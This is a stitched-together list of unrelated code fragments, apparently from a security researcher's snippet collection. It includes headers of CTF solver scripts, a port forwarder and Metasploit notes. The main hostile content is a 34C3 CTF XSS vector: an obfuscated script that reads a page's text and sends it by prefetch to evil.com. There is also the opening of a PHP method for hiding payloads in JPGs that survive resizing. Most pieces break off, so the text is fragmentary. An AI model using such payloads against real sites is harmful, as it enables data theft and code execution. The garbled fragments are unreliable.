neargle

# coding=utf-8
# [email protected] 

import os
import logging
import datetime
import string
from sys import argv
from flask import Flask, request

badbye

# encoding: utf8

"""
Created on 2017.06.27

@author: yalei

Reference:
1. http://www.ruanyifeng.com/blog/2017/06/smtp-protocol.html
2. http://blog.online-domain-tools.com/2014/11/14/how-to-verify-email-address/

WangYihang

#!/usr/bin/env python
# encoding:utf-8
# Author : WangYihang
# Date : 2017/10/03
# Email : [email protected]
# Comment : to solve XDCTF-2017-WEB-Upload

import string
import itertools
import os

WangYihang

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# a Tcp Port Forwarding and a Port Multiplier (HTTP/SSH)
# Author : WangYihang <[email protected]>


import socket
import threading
import sys

WangYihang

#!/usr/bin/env python
# encoding:utf-8
# Author : WangYihang
# Email : [email protected]
# To solve HITCON-2017-WEB-BabyFirstRevenge

import requests
import hashlib

def get_global_ip():

csim.c

/*
 * Harbin Institute of Technology 1603002 1150810613 Qiuhao Li
 *
 * Anyone can modify this code and then redistribute it to help others.
 *
 * -std=c99
 */

#include "cachelab.h"
#include <stdio.h>	/* fopen freopen perror */

cgvwzq

XSS vector:
<link id=foo rel=import href=/flag(1|2)>
<script src="/feed?type=jsonp&cb=payload"></script>

<!-- superblog 1 - flag: 34C3_so_y0u_w3nt_4nd_learned_SOME_javascript_g00d_f0r_y0u -->
<script>
document.write`${Array.call`${atob`PA`}${`l`}${`i`}${`n`}${`k`}${atob`IA`}${`r`}${`e`}${`l`}${atob`PQ`}${atob`Ig`}${`p`}${`r`}${`e`}${`f`}${`e`}${`t`}${`c`}${`h`}${atob`Ig`}${atob`IA`}${`h`}${`r`}${`e`}${`f`}${atob`PQ`}${atob`Ig`}${`h`}${`t`}${`t`}${`p`}${atob`Og`}${atob`Lw`}${atob`Lw`}${`evil`}${atob`Lg`}${`com`}${atob`Og`}${atob`Lw`}${Math.random``}${`_`}${escape.call`${document.getElementsByTagName`link`.item``.import.body.innerText}`}${atob`Ig`}${atob`Pg`}`.join``}`,
</script>
  
<!-- superblog 2 - flag: 34C3_h3ncef0rth_peopl3_sh4ll_refer_t0_y0u_only_4s_th3_ES6+DOM_guru -->

verctor

<?php

/*

$libc_ver:

beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so

$open_php:

WangYihang

Works during GSoC 2018 on Metasploit project

Issues:

• Idea discuession about Add meta-shell commands
• Error message (no session) printed when ExitOnSession is set to false even session created actually
• Information field seems weird while a reverse shell session is created
• Some questions about Signal Handler and Job Control

Pull requests:

mozhu1024

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
    caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed
    image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch: